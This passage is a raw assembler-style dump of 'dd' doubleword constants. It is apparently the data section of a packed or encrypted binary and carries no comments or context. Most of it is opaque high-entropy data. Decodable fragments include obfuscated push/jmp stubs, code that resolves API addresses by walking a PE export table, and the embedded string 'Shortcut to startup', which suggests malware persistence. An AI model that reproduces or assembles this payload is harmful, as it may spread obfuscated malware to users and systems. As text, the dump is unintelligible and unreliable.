5074F06Dh, 903702DCh, 0CCBA75Bh dd 0EE721E53h, 71AC62D9h, 388A815Fh, 0DC6DCCE2h, 9F36B80h dd 0AF639A52h, 691D96B3h, 16E8422Eh, 0CCE2AF13h, 0FEEB476Dh dd 33B91FA2h, 83502D03h, 0E3F5A1E2h, 0BA70B150h, 934CCB7Fh dd 0B7728C5Eh, 6DCC200Bh, 0AC5A6FEBh, 0CC2040FDh, 59F8C76Dh dd 3307BE7Dh, 5D7A568Dh, 6ADA579Ah, 593733h, 32950000h dd 542A4479h, 0CC7CED55h, 518C426Dh, 4C812AA1h, 0C4FBB128h dd 877754D0h, 0CC7C60E0h, 7B1AA96Dh, 6B36337Eh, 11333h dd 0D7790000h, 7C4002A9h, 0C8A46DCCh, 498028B3h, 0E0624937h dd 46DCC7Ch, 34535328h, 2AA1558Ch, 215C4885h, 8A42E382h dd 0A760D753h, 3230B672h, 0E062497Eh, 46DCC7Ch, 0C5A1D68Dh dd 2ED6F5A1h, 0B256E5F7h, 0C6A37F73h, 41E083D8h, 62E42CE0h dd 0A643FD6Bh, 0CBC67C2Fh, 421E6DCCh, 0F86421Eh, 0A5E48858h dd 2AE56CF1h, 0F04F7872h, 77B055D4h, 0D7CBA78Bh, 0F82DD665h dd 78B158E3h, 1C5B0D8Ch, 80BF7168h, 0DA4B794h, 69DD6BFh dd 0F4FF5C4h, 0B905ECBh, 607D5960h, 6AA46697h, 7A4633h dd 26380000h, 0C4B3F093h, 6DCCFA7Eh, 0E7BD9A96h, 206104D7h dd 60DBF074h, 22B96DACh, 0F54D3C6Bh, 4A6DCC7Ch, 0B6B26AA3h dd 0ECD3E69Ah, 45EA7155h, 43181C08h, 1995D478h, 0C3AFEEA2h dd 2EE21FC4h, 32B74E65h, 336B33EFh, 50CFh, 96D73D00h, 6A1BD4A6h dd 8FD14429h, 57F9C297h, 47126C18h, 0B6BA66A5h, 361348FFh dd 0E28EC97Dh, 98993807h, 76CCBFF4h, 8E6DCC8Dh, 6CFAAE92h dd 4F437A32h, 0CC7CBF08h, 0A03F806Dh, 6B356C45h, 0AC5DDC33h dd 0FEE217D0h, 97390E12h, 1, 427B32F5h, 5B90374Eh, 0EF863DA7h dd 0F2669F46h, 7B55868Dh, 0ABF2AC52h, 81565C0Eh, 694FAC5Fh dd 3B3767FCh, 62975047h, 83B86FE6h, 1878C88Fh, 1AD1943Ch dd 4C3F31E5h, 943C18F6h, 0F193120Eh, 54EBBEB2h, 0E3BC0FBDh dd 93EE54Ch, 0A02209F7h, 44943C18h, 0CC4B13E8h, 3832DE13h dd 18DF6326h, 3B37943Ch, 1EEE951Eh, 0DF432F66h, 0D4780F03h dd 45EAE195h, 897DBA6Dh, 0E2DDC9ADh, 691EA241h, 411FBB5Ah dd 3C18F84Ah, 2B401C94h, 0A8C2F7B0h, 0FCA48031h, 7155D1C5h dd 0D617E25Ch, 0B6397AD1h, 0F0h, 0E9EEA3C8h, 0DD45826Dh dd 9ECB5899h, 7653AB11h, 1EBD5CAEh, 266C5D4Ch, 37A67FCh dd 0F67A265Dh, 0F8AF26DAh, 0D79007C3h, 30D7EEA2h, 315207FBh dd 0B7EC9392h, 44471903h, 9423AAFEh, 3A3D1A16h, 397B5F77h dd 4757h, 0C15CB500h, 9B1E401Ah, 0D5CEABE8h, 0EDCC7C4Dh dd 52190D69h, 0EDCC7CF0h, 0C8871EDDh, 0AAD4A635h, 0CC7C43FFh dd 10C7A3EDh, 0F26E2257h, 9A0803D5h, 3A6DCC7Ch, 9A4D0CDEh dd 0E4B6805Dh, 8C78AF55h, 6116D3A8h, 66000000h, 4C1EBD5Ch dd 0FC0C3C5Dh, 7C4ECA67h, 70BCEB4Fh, 0C2797FEBh, 0CFACF0Eh dd 2DA1D68Dh, 0D4C0F5AEh, 238D3A85h, 0F3923194h, 88447932h dd 2D3F9C3Bh, 205EAD40h, 363F2C6Dh, 555426DDh, 942333EDh dd 28502D09h, 1699A981h, 35E13D9Eh, 0CCB8ED96h, 0D38827DAh dd 0C6C59744h, 94202314h, 72F8B4B0h, 0C4EE96D7h, 610EFF65h dd 1DAF98Ch, 0A24A11EFh, 644AF362h, 0DF03BB5Dh, 0CBC9210Ah dd 15D67F9h, 98CD7615h, 0B9EE9524h, 0DF409ECDh, 0AAF9F5A3h dd 0B1812A0Bh, 5F03C2FDh, 0D8C4024h, 56752156h, 168074B1h dd 0A65DC45Bh, 853EBD71h, 0FCAA450h, 0DE64275Eh, 36B4A9DFh dd 8841163Ah, 3, 326D5FF4h, 52493D80h, 19B06499h, 4F463A75h dd 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h, 30A75B94h dd 0CF554178h, 81E68956h, 4C6h, 4BA5200h, 29000000h, 34875AD6h dd 5A685C24h, 89000061h, 9C68243Ch, 89000049h, 4E682434h dd 89000030h, 41B9240Ch, 8906155Ah, 0B06859CFh, 89000022h dd 4832424h, 815E0424h, 4ECh, 243C8900h, 0FF08468Fh, 815E2434h dd 4C4h, 2434FF00h, 4C4815Fh, 0E9000000h, 0FFFB2144h, 7F3B5A04h dd 0C1B8DA04h, 306155Eh, 60E0FFC5h, 2D594E55h, 734F8E74h dd 0E9734AD3h, 13h, 265B9BEFh, 3 dup(0) dd 0E9000000h, 528h, 6ADE21D1h, 4AFE35EBh, 61DD16CBh, 44F835DAh dd 58D413B5h, 40E41672h, 1BCE4D01h, 33D75EDAh, 0EB544F8h dd 966A65D9h, 0D9232F93h, 62EAC76Bh, 50447932h, 0E4589739h dd 8D79AE55h, 4417550Eh, 0EDFB1BB3h, 2B183D58h, 0CE1B8E3Eh dd 0E187FEF2h, 0DCC3F6AAh, 0EE23DC45h, 0BB0702DCh, 5B6DCC39h dd 0E574EAFFh, 0C3520641h, 60A6491Fh, 69685AF3h, 27DBF7E6h dd 5C7B274Bh, 2ABC68A9h, 0A8DF8554h, 51457A31h, 8C23F8D5h dd 0A2D98F4Ah, 0F4936BB5h, 0A6C3379Dh, 8A3E792Dh, 6BDEBBB0h dd 0EBA9797Dh, 699E450Eh, 9651EEBDh, 0E5D66DCCh, 16CD8C4Eh dd 0BA130CE1h, 2A336A4Bh, 0ABC0FBAFh, 0AF45h, 4D78700h dd 8D46235Eh, 0A6F5A1D6h, 6DCC7C1Eh, 0C501A01Fh, 601451F6h dd 63A44504h, 0E196B3AFh, 336B3610h, 1F0h, 7A325A00h, 7CE45E4Dh dd 24006DCCh, 7CE35F4Ah, 27036DCCh, 56E5574Bh, 0C15E6BB1h dd 4AF316FDh, 0E1F67A26h, 617BB25Ah, 0C02B936Ch, 0F2079459h dd 0B5F29534h, 3069209Bh, 0B36C6B1Bh, 4DF3927Eh, 4F066A16h dd 0A8AF6398h, 2F4B7817h, 0EF6D2C0Ah, 203CCFF3h, 9DBAF599h dd 6BE67FEh, 0ABB9BFC6h, 0CCB64200h, 0A1C6A26Dh, 94B0A2B4h dd 1AEAA118h, 0AAEB9E74h, 4C2EAAC6h, 9CE3B71Fh, 600CFB4Fh dd 90D7046Fh, 31FBD00Fh, 533F7E32h, 0A1558C34h, 0F938D7ECh dd 8DCA7D57h, 5B99D99h, 0EC98CD76h, 13FF38EDh, 50F8CE74h dd 0ED096D19h, 0B3EAA239h, 5AF98ABFh, 5FF68D76h, 0D70CC07Bh dd 0CC7C6ED4h, 0C6AA866Dh, 3433EEB1h, 6D13336Bh, 79000000h dd 533F7E32h, 0A0548D34h, 0BB1FB60Dh, 0DB9C092h, 9E2E1B5Ch dd 32A9BE4Eh, 0C8B3F7Eh, 6471958h, 34C1239Ah, 6B1B308Fh dd 867AB76Ch, 0EA0FA6DDh, 336A5C37h, 4A17h, 7E327500h dd 58532D3Fh, 6DCC7CEAh, 4D390E0Ah, 0A95D984Eh, 58412A56h dd 3B15FB32h, 0F68D2E4Bh, 8A3E7D2Fh, 67DBCEB0h, 0B86DCCFAh dd 4521D514h, 30FCD14Dh, 4F437A32h, 0CC7CBF08h, 0A03F806Dh dd 6B356C45h, 14C33h, 32BE0000h, 374E427Bh, 0D207C090h dd 721E421Eh, 9832D160h, 0B61C85C6h, 0CE488E37h, 0CC0C9B27h dd 289F7B6Dh, 0A62D4A7Fh, 0AD12C6FFh, 0F09BB526h, 67FC760Bh dd 8E4D1FFBh, 51AE9BDAh, 0FDEF0AD6h, 23A26479h, 0B3793E7Ch dd 2B122CE2h, 2E7C781h, 0BD99A8CFh, 9CD17A01h, 0BF03C1E8h dd 5F40943Ch, 8C3306C0h, 0B2C7AB57h, 914D8229h, 782C610Ah dd 8175AA61h, 1918B7CCh, 0BE813D72h, 397A72F3h, 140D3h dd 0BD5C3900h, 6C5D4C1Eh, 7A67FC26h, 0C178F29Eh, 3BF8D50Ah dd 5CDB4F84h, 3826EA3h, 1E7B275Ch, 0DD65243Ah, 399423AAh dd 0E47B203Dh, 0B96BE9E2h, 2AD136ECh, 0A8DD864Dh, 0F3A86934h dd 5288397Bh, 0B6000000h, 4A61E1C8h, 0A9859423h, 0C15CF8D4h dd 9B1E401Ah, 7BF7ABE8h, 7C3DA55Eh, 0C2D9EDCCh, 431FD30Ah dd 9E24731Fh, 3FEDCC7Ch, 4F6AE180h, 2BB7728Ch, 0CB6DCC7Ch dd 0C26ADB4Fh, 96000000h, 3FF168h, 0CC7CA919h, 0C2802B6Dh dd 226DCC7Ch, 0FDDA5646h, 15BD5C27h, 6E14324Bh, 0FCCEF2A9h dd 0FC176C0Dh, 0E5D3F867h, 397972D5h, 0E0D288DAh, 9A453FBh dd 3E322EF4h, 0EE6DFFECh, 4BBB11F2h, 0C499D88Ch, 9F1B50F7h dd 463A6F18h, 3C43A41Fh, 6D049B94h, 72E61BC4h, 0FBD5060Dh dd 0B210FBE5h, 52943C41h, 5D498A3Bh, 23E0FDD9h, 9E09E6C2h dd 32691F9Ah, 907D93Eh, 6AFEFE58h, 0DB57486h, 0E99E1665h dd 0AEAA708Dh, 0E71CC3C2h, 7B1AA93Bh, 0F406D5E4h, 8D35F40Ah dd 699E1665h, 0D233F00Dh, 8A9423C2h, 35E11ACFh, 0A661C31h dd 8BC469F0h, 0F8BE9B97h, 2AF52526h, 49DB845Eh, 72876BA4h dd 1EBD5CDAh, 0DBB85D4Ch, 0EA4667F9h, 18E89F36h, 9D113574h dd 4430651Eh, 55DAF415h, 0DE15CBF4h, 0B4EF9332h, 0BF56EDC0h dd 0E195D076h, 0F5CE6185h, 0FB30D75Eh, 0DA0FB83Fh, 7EF3CB00h dd 1BF6360h, 79403AECh, 0D8218FD7h, 39E92736h, 0F00D691Dh dd 8F83C063h, 4ED76E05h, 708E6095h, 572709B9h, 5C71EDB4h dd 77AC53E2h, 221A8Bh, 93260000h, 67CBB7ECh, 9DEFBE82h dd 0B7941BD0h, 3F215FEDh, 9E31B50Eh, 8574AFF4h, 6DCC6E3Dh dd 0A4805DD9h, 493D8032h, 0B0649952h, 463A7519h, 0A95D9E4Fh dd 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h, 55417830h dd 5B5453CFh, 4C381h, 0EB830000h, 241C8704h, 0E689565Ch dd 4C681h, 0EE810000h, 4, 5C243487h, 68243489h, 109Ch dd 83243C89h, 48904ECh, 7321B824h, 40BE6AA9h, 19B6BECh dd 8B5458C6h, 0C483243Ch, 4EC8304h, 8F243489h, 3C8B0847h dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 2434FF5Ch dd 4C4815Eh, 0E9000000h, 0FFFB1BE8h, 867EA415h, 156412B8h dd 0FFC50306h, 5A8165E0h, 8B004860h, 873C2D0Fh, 702B8B5Ch dd 0B0E974h, 66600000h, 0C2F6DA8Ch, 0C850F04h, 3B000000h dd 10149985h, 36840F06h, 3B000000h, 1020E585h, 2A840F06h dd 3B000000h, 102E6185h, 1E840F06h, 3B000000h, 100F7985h dd 12840F06h, 83000000h, 101C95BDh, 840F0106h, 5, 5FE9h dd 3D08B00h, 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h, 81000000h dd 0F8C2h, 0C728B00h, 598BC803h, 14518B1Ch, 0B8BD803h dd 840FC985h, 10h, 820FCE3Bh, 17h, 830FCF3Bh, 0Fh, 4A04C383h dd 0FFDC850Fh, 0DE9FFFFh, 8D000000h, 104E859Dh, 5B806h dd 0E3FF0000h, 0D00BC361h, 0CE8h, 92720400h, 309C82F4h dd 5E02E430h, 0DBD8BA8h, 5B06101Ch, 9AC381F9h, 8B000069h dd 101AE1B5h, 89C03306h, 1009C9BDh, 1834FF06h, 1BD58D31h dd 0BE5A0610h, 58F4F8B9h, 0E6E7C281h, 59571BBDh, 0DD53F281h dd 9D015474h, 61013ADh, 1143EA81h, 958905D3h, 610003Dh dd 89031489h, 1029799Dh, 0C8B96606h, 3E883BFh, 8B485E50h dd 1007D1BDh, 24F88106h, 0FFFFF97h, 2985h, 10E900h, 55A00000h dd 0E79DF83h, 0CAF31EF4h, 26E344A5h, 2CE9A955h, 9F000000h dd 4C2A5271h, 7B33BADBh, 3CD4881Eh, 0BD239667h, 6100FB9h dd 0FFFF78E9h, 0FDA8A8FFh, 31CF959Ch, 76BE4F1Ah, 0C2FCE75Bh dd 0E935F4BBh, 76h, 3D163F38h, 726F6853h, 74756374h, 206F7420h dd 72617473h, 707574h, 17h dup(0) dd 0ADE90000h, 6800000Eh, 6156834h, 0FBE443E9h, 690B68FFh dd 39E90615h, 68FFFBE4h, 6156AD1h, 0FBE42FE9h, 6B1F68FFh dd 25E90615h, 68FFFBE4h, 6156BF9h, 0FBE41BE9h, 6C6E68FFh dd 11E90615h, 68FFFBE4h, 6157067h, 0FBE407E9h, 72CE68FFh dd 0FDE90615h, 68FFFBE3h, 61573DBh, 0FBE3F3E9h, 0BB6D62FFh dd 7C117E6h, 0C0726B5Ah, 782A2293h, 0CE88DA2Bh, 40C3B381h dd 0B203500Ah, 3DB0E59Fh, 0BB0A5709h, 43A1EEA8h, 0AB3443B0h dd 0C7211DDDh, 0AA075CD3h, 0C8453A5Dh, 3BC81B17h, 17C8451Ch dd 4D194D39h, 73E89976h, 943BF5EBh, 0D118ABE6h, 0E78C6EA5h dd 184CD228h, 0DEED3C57h, 0C46A6F24h, 4884F1C0h, 1289BB96h dd 0A1A605D6h, 62780300h, 941DD897h, 943BF5E5h, 7E29ABE6h dd 86A41EB6h, 209F4FE5h, 0B875C0D3h, 5A00F11h, 9382A72Dh dd 4096BEh, 48EA0000h, 0D690C11Ah, 68570BB7h, 0F458FC17h dd 7E41C25h, 0C7731AD4h, 0F3F5D29Bh, 841DD8B5h, 87AEF998h dd 4811B8B4h, 0D423E099h, 0B8B50827h, 54A14D11h, 7C2647F9h dd 0BE934816h, 0B307h, 0AB5A5B00h, 685DFEB8h, 0CB1AB973h dd 67B6DD97h, 3776AB74h, 131ADEFh, 0ECDF2E55h, 1C2EBB32h dd 0EEAF5B62h, 0F7F448B7h, 538817C8h, 0EAF9CC99h, 2309130h dd 0BAF8837Ah, 5D1DD8FCh, 51FDE4B1h, 0DA25D62Dh, 11B8DFB7h dd 56ADEE9Eh, 0CB9797A9h, 0BD34E017h, 33601A30h, 0E0D690C2h dd 0E212B18Eh, 7019AFB2h, 2800000Ch, 0D5287D2Fh, 299CC983h dd 0E0CD8234h, 905D32E4h, 61D3803Ah, 2BC0E91h, 0AF69604Dh dd 9BB13E2h, 0C07A695Ch, 35C21193h, 1DDDAD22h, 5CE59533h dd 0FDB7AB06h, 44D67906h, 8F7F17C8h, 2C1F8EC3h, 93807B72h dd 0B4866457h, 7A287D1Eh, 8B621A48h, 0D845E2E0h, 1048951Dh dd 38830A56h, 11B84515h, 986A03BAh, 0BE93B812h, 0B803h dd 75C4700h, 0E3F7464Dh, 0C89C4E88h, 0A0528CF9h, 0B387D4FFh dd 0C917C849h, 42B3E09Ah, 0D5385711h, 49480669h, 0C0EF2415h dd 76D01D94h, 0DB289BC4h, 1DD7861Dh, 54550AFAh, 0DC2796EEh dd 17CA1DBDh, 6615EC98h, 0B60BBD17h, 39E5EC9Eh, 833D8D78h dd 2130BB2Ch, 340BA4B4h, 6F3E2748h, 0CF4BA15Bh, 0F3E21424h dd 0B99D870h, 0FE510000h, 0B2A6174Ch, 35AABF8h, 9BB10451h dd 1949BCE9h, 7242325Fh, 0B4E19BAFh, 9561041h, 0A3F0A2BCh dd 1A470152h, 9DBC479Ah, 0B81DDDADh, 65C6A1Eh, 0B5A6174Ch dd 0DE3A41ECh, 0CA965B7Eh, 2AD52695h, 17C90107h, 8E35E7DFh dd 0C99282E0h, 0AE3D5AA1h, 1878F77Ah, 40ABCE39h, 0FAAA17C9h dd 0CB0005A6h, 0FD53A211h, 240CDB34h, 0A7FBCB53h, 4B80CD06h dd 79D32291h, 59783226h, 0EDB8F9ADh, 6F3E46ECh, 0D6014994h dd 20411925h, 733A58A3h, 711D1DD9h, 116E0552h, 0F26111B9h dd 0D9ED7C37h, 0F65C8627h, 0E7BE92EBh, 7, 817133Bh, 48970000h dd 0E08B621Ah, 1DD8561Ah, 53A221CDh, 8774600h, 0B833DC7Bh dd 0E48D7911h, 651F3481h, 57A4115Eh, 3A8E78FCh, 6135E7DFh dd 65C01362h, 0E6EDB973h, 0DFF7B231h, 917691E2h, 0E1E06E4Fh dd 0A540630Ch, 7421DBF0h, 0F9985281h, 738288AEh, 0C1BE3DAAh dd 359E06Ah, 0C1843251h, 416AFD1Ah, 0FD4E07A2h, 0AC9F0E43h dd 0FF6CFBF2h, 0AA736670h, 0CAA86276h, 0B10291DAh, 0DB3C42D6h dd 0BDDE2C76h, 743E204Ah, 0E8A2B8AAh, 8F419CE9h, 670271F0h dd 54A3FC4Fh, 743D88A7h, 8021CDAAh, 0C81BCA63h, 5F74410Eh dd 3CE27502h, 8373AA74h, 3C91E0CFh, 0ED48038Ah, 6D9A3232h dd 7E15560Ah, 604F371Bh, 8463E913h, 774636B0h, 12DC7B08h dd 8D79A464h, 0B61F81E4h, 509FE74Bh, 743675A3h, 8CC431AAh dd 5AAB89D2h, 46FE5204h, 64CFCB7Bh, 579E57Ch, 176F41AEh dd 0BC68C653h, 0F68EB415h, 8A637C07h, 0EFEC046h, 4701529Fh dd 0FEB8AB1Ah, 995A52A8h, 851B9E39h, 9D3h, 0EDA2548Bh dd 410EC800h, 0FAA75974h, 721FD10Bh, 0C0954F83h, 0D101846Ch dd 667B4A17h, 0D006F7ACh, 4F84711Eh, 8DDCC095h, 0DDAF4FE2h dd 0C068061Dh, 0FEB8AB5Ah, 3B8AD37Fh, 0C17BCD28h, 0A55F73C2h dd 0B747A5F1h, 3D5F093h, 985E880h, 0A3D0000h, 0A6BA0B58h dd 0F46B7ECh, 9FB5085Dh, 1545B8EDh, 4E36065Bh, 88DD97CBh dd 356A2435h, 87DC8EC8h, 366B2536h, 0B9D823B6h, 9C1DDDAFh dd 75C5642h, 0E3F7464Dh, 0F8877C29h, 0C844EC8Bh, 0F4BD6917h dd 62CD5FCh, 96C42F7Eh, 101DD868h, 86D2A45Fh, 0C45FA86Bh dd 0B8105EF1h, 56F98611h, 0FF11B810h, 3C65110Fh, 0B10C4C38h dd 0D375695Fh, 0BE3549F5h, 0ABF5F31h, 358C7856h, 0B35FA5Ah dd 0DC85A729h, 70AB68B7h, 2E7F0D0Ah, 92C802C8h, 879127AFh dd 7C67CBE6h, 0EACB60EFh, 5D09F549h, 9C31766h, 3093DC8Ah dd 0B4C330BFh, 0A149EACAh, 0C25BACF5h, 9F4FFE50h, 46F00EFh dd 43D74675h, 986B34E0h, 1340FAE9h, 49FB51A0h, 0F4AE9D28h dd 0E19298F6h, 27BDBCA9h, 8ABh, 0E5BA6C63h, 5906C018h dd 92BF716Ch, 2A772923h, 98CD87DBh, 959DCA4h, 9EB3024Fh dd 83EAFE4h, 0A7BC0956h, 0A534B8EDh, 0DDB0375Ah, 0D8C01E1Dh dd 464D075Ch, 782DDFF7h, 0C8454887h, 0A0E44A17h, 0A9B8A651h dd 37E71DDDh, 702A39C8h, 0C781D223h, 0AF6979C8h, 3544AF40h dd 2011B2DDh, 0A92B2C65h, 0EFA3D013h, 7ED825AEh, 8EAAEECCh dd 6BEEDC06h, 836D5h, 27D9EE00h, 9B558B7Ah, 2CDEF7C6h dd 9C4E8677h, 2AE4F6C7h, 7C3F0775h, 6F7AC66h, 794C19D3h dd 0FDEB365h, 4F4D02BCh, 0B0E06FFCh, 0DB751DDDh, 0AA075C2Fh dd 0C8453A5Dh, 376B1B17h, 0BF1A4998h, 79BDC089h, 167DB602h dd 0CB97434Ah, 8A5385F4h, 7B1FE25Eh, 16570BB4h, 0EB86157Dh dd 226F293Ah, 83902AB0h, 46B142B8h, 17C86933h, 0EAE99BB3h dd 2546363Ch, 4EC77h, 1A48CB00h, 0EBDE8B62h, 0FE49231h dd 655EFFB9h, 771A6516h, 0DE17C845h, 1C9A6D2Eh, 831DDDABh dd 1ECB1C93h, 0D0357628h, 15F2C17Bh, 55A5F118h, 0F5B0F1ECh dd 8E3543F4h, 2E41AE3Dh, 2711B2B6h, 9D13677h, 648B1F22h dd 0F85E34EDh, 0E93805AFh, 5Fh, 5EA95A41h, 17C8453Bh, 1D3CC71Ah dd 3817C845h, 0B6AB184Ch, 1D3EB3FCh, 48E7946Bh, 9C17C845h dd 4491A04Bh, 3FE717C8h, 0F021402Eh, 0AEEF9F85h, 6CB7D6C6h dd 3830930Dh, 1546B34Ah, 0D891125Bh, 0EA2994FAh, 1585D8h dd 5ADD0000h, 0D6FDB7ABh, 7AFE6D28h, 7DC19907h, 1E28834h dd 48200000h, 11626117h, 0EAB36D64h, 34B1C51Dh, 8039A891h dd 0F0243CA2h, 292D31h, 48750000h, 11626117h, 45821562h dd 14D317C8h, 0A71C3483h, 5A034FB3h, 34D8F66Dh, 0EF8A3991h dd 0EFF78D13h, 6C7C31h, 48C40000h, 0E5926117h, 17C84552h dd 0D5B00403h, 0EFF7670Dh, 0D324D3A3h, 0FF7E3026h, 67D16053h dd 0F58417C8h, 0C867E78Ah, 0D27E6E17h, 0FB45CE89h, 28FAB328h dd 0B88353C2h, 31B3h, 0E7335000h, 0F2930EBh, 4896D49Dh dd 0E5926117h, 17C84554h, 329E1905h, 2FCA7989h, 83B3CD53h dd 0CBCB8h, 13040000h, 138h, 975181F0h, 0E31394D6h, 97000000h dd 52521748h, 0AE2AE348h, 0A6586D42h, 0D8277B27h, 0B6BDDC27h dd 0EC9817C8h, 0C4BF10C3h, 756528BEh, 2B6614BBh, 9EBFCE37h dd 189A5D29h, 0B9286Dh, 0D3E4BC22h, 3125D40Dh, 5B52007Fh dd 780C8110h, 8728D4C2h, 6855h, 5F770600h dd 48A604ADh, 0E5926117h, 17C84552h, 1F6C1303h, 37E8722Ch dd 0E1B16CE3h, 0D8A3E47Bh, 35EFE491h, 2F706Ch, 48B80000h dd 1E31BE17h, 3717C845h, 57A41B47h, 17C84538h, 552711Dh dd 84E8728Eh, 3B17D281h, 25A3E0D5h, 18C4h, 0CD087500h dd 0A5C6741Bh, 5EA95AC5h, 17C8453Bh, 7B416A1Ah, 7Ch, 0B6AB5A0Fh dd 448BAE59h, 0DACA17C8h, 0EBE0E586h, 0B4419231h, 2FE7D49Dh dd 80982CF0h, 1A3C8BD4h, 8F17C889h, 0EBE09550h, 1B33C231h dd 0F3BC6A69h, 0A95AE8B2h, 644F015Ch, 17C844D5h, 271F9480h dd 94C52C75h, 0B95F01E4h, 9A39F3E6h, 6261134Bh, 73831EB5h dd 7621BC6Bh, 17C8521Dh, 0E50550CFh, 0B6EA8E42h, 849EC126h dd 372CD9B8h, 7A8567Dh, 0FFFEDBD5h, 5A132DFFh, 97000002h dd 0B5AC075Ch, 7A26D4FBh, 1BD50653h, 87FF6346h, 0E7765B38h dd 0D8C99CFh, 0E145F64h, 591DD8C3h, 0B2D926ADh, 1D11B897h dd 0B1370BA6h, 0A0BE9360h, 41h, 621A48E8h, 8FDC8Bh, 5517C845h dd 6CFB08A9h, 5516C8FDh, 0D8457072h, 6376071Dh, 43D67906h dd 8F7F11B8h, 420EBCC3h, 15C7FE6Bh, 59FC474Ch, 7611B844h dd 0CE542EC7h, 0BFBE93B8h, 0D2h, 4D075C03h, 4D88F546h dd 2546F49Bh, 0D1F0AAA0h, 75928582h, 0AA15026Bh, 15CF0401h dd 9D3BE19Eh, 0AAB0423Ch, 5083D201h, 8BFAC996h, 0F5D29B55h dd 17C8762Dh, 0D42FC4Fh, 0FDEA68Ch, 0DD78A360h, 0C7E47F05h dd 0C8655DFCh, 630CF817h, 1B021360h, 8FDE1DDBh, 55DF803Ah dd 5EA95AA9h, 11B5B03Bh, 0DF99C91Ah, 6C19EAB3h, 16E7BC76h dd 6EAC0AC4h, 0BADC0329h, 43D21B7h, 0E2F50000h, 3E926330h dd 0E7DECF84h, 378D6035h, 0EDDDD085h, 260E5E33h, 0E0B56F63h dd 4D02BC0Dh, 0DFB46660h, 4E03BD0Eh, 0E170FB4Eh, 741DDDB4h dd 0AB5A2EDAh, 0BD67EDB6h, 0CADABAE0h, 84BF796h, 0E1C00D7Fh dd 0A91C4505h, 6352FFB9h, 0BA47B670h, 83D2F1A3h, 0A2CB9749h dd 3D5A97C3h, 634530F8h, 0B503BCE2h, 0B5AE35Ch, 9CAF1657h dd 3D8EDBE2h, 67CBCE83h, 7923D01Fh, 0A61DD8F4h, 0E30762E7h dd 0CC98180Ch, 0F74C88F5h, 0B847ED8Ch, 0E8BC6811h, 5F743DE9h dd 0B8488314h, 1CD54411h, 0CD86E955h, 169F4AECh, 9D4CA3EFh dd 4F0155A8h, 6B594003h, 2B9F839Eh, 83F28182h, 362C994Bh dd 8A9557Ch, 0C8B0D5FFh, 0ABBED917h, 0DEF0F492h, 7521135Ch dd 0F195B920h, 0A6607302h, 371FE05h, 9C11BDF0h, 0A6A0FB4Fh dd 0FF53A0F4h, 0C4903E45h, 934580EDh, 2464F1BEh, 388E0593h dd 3AA3D986h, 0E7000000h, 0C845375Eh, 37AC9317h, 0B6646B1Dh dd 0D48B5EAh, 48E7345Bh, 4017C845h, 0E6DF964Fh, 388E5F34h dd 94CA3786h, 0CD1AB9E2h, 17C844A7h, 0D98C25BCh, 2D7ED385h dd 8FD08AC0h, 50025CDBh, 38EAE431h, 0F7B23199h, 6756083Eh dd 6B12C41Ah, 0F483F0BFh, 6117C844h, 4AB9ECB5h, 0C3ECA6BBh dd 0C8582D44h, 0CD524A17h, 0BEB883C6h, 0FFFFFF94h, 4D075C02h dd 2AE4F746h, 0B6CE7475h, 0E3BE4C47h, 5D19F907h, 0B140AF14h dd 46C1EA9Ch, 1DD926BCh, 0E193CB3Ah, 0C9C8B4C0h, 0B8FBD77Eh dd 1C69F811h, 0C36F0EC0h, 9270099Ah, 0BE92FD0Ch, 46FDh dd 0AB5A4500h, 7A05FCB6h, 17C844D7h, 0E4CD8E7Eh, 48B7067Eh dd 0FB4EA9B9h, 7B4C1541h, 1DD8456Dh, 56A31A0Ah, 9D494802h dd 0FF70BFD4h, 0B843E574h, 0DB847011h, 0B84449ECh, 1ED78611h dd 93B8DE44h, 0C7CFBEh, 5C130000h, 0F5464D07h, 552601Ah dd 7738C9ACh, 0FB823C8Eh, 0DCE39DAEh, 0CF843E8Dh, 0C9261CE0h dd 620D5E17h, 17C91BCFh, 55BB9686h, 0C049B2CAh, 0C211F4BDh dd 6D1A6F67h, 17C849CAh, 0C8C79B8Bh, 0AC19461Ah, 73D6FDB7h dd 0BB48B7CFh, 1DD85CC5h, 7C5D32E2h, 0B43FAED6h, 17CAEE1Dh dd 2016D28h, 0E15D759Eh, 9BAF3EB5h, 1141B4E1h, 544D6157h dd 0FA79E213h, 1D662h, 87398E00h, 3BF5EBDAh, 8C3E9766h dd 3CEEE6D7h, 8A449667h, 1C9F67D5h, 66570CC6h, 19ECB973h dd 6F3E13C5h, 0EFEDA25Ch, 0B7800F5Ch, 7BD51DDDh, 4C065C8Fh dd 0FBB5A617h, 55A655A6h, 0C84487AAh, 0D31ECE17h, 17C843C4h dd 57094491h, 95D68A38h, 621A48D5h, 3D8DDC8Bh, 0DBEDDA83h dd 9C1DD845h, 3C43F54Fh, 70BBC28Eh, 11B844DDh, 0F1A23BF2h dd 0C9924C84h, 93B753D9h, 0C942BEh, 24DF0000h, 9BB3DDB8h dd 593CEAE9h, 0B0A190D2h, 772BD7F6h, 505CFB88h, 0DF911B8h dd 75C0664h, 1699764Dh, 0C9681372h, 8C17C8F1h, 3A62A5E0h dd 0E332610Ah, 418E35EFh, 17C877F9h, 0C9965083h, 568CE7FCh dd 733AF59Ch, 0CE15D434h, 12B1E5B1h, 4FB83AFh, 6E690873h dd 0EC17C8h, 0C8E99BB3h, 80CAB03Bh, 31DD1DD8h, 0CD17D64h dd 0C7731AD4h, 0D1D7249Bh, 0B617CB0Eh, 588AF7C6h, 7302F19Eh dd 0FE07A85Ah, 829412CCh, 0C6E21334h, 0C92DC3h, 4E810000h dd 0E2F6C79Ch, 538A7B28h, 0CB01F4A1h, 69794C19h, 0A292E2AFh dd 6431EBDFh, 0D9864091h, 1340F2ECh, 0AAF7B1A2h, 2D4CB74Ah dd 281DDDB8h, 65CDACEh, 0B5A6174Ch, 5CFCA6FBh, 7764D07h dd 3D5617D1h, 7421DBF0h, 0C01CC16Dh, 0FBADA10Eh, 837A26D4h dd 8F2EE0F6h, 0BE49BAE3h, 1DDDAABCh, 0EC81B6Ah, 9A9AC36Fh dd 7794E3EAh, 9E900BCFh, 51E08B27h, 411B340h, 0A2234C18h dd 5BAAF7B1h, 3140AB08h, 2411B340h, 5AA52C78h, 4CB68B25h dd 7BCF1E6Dh, 5F73C2C1h, 24701EA5h, 16CD687Bh, 0F8B97367h dd 4F04BE0Dh, 0CB36D5Eh, 0AED587BDh, 1ED79201h, 0CF1E732Dh dd 7B2D217Ch, 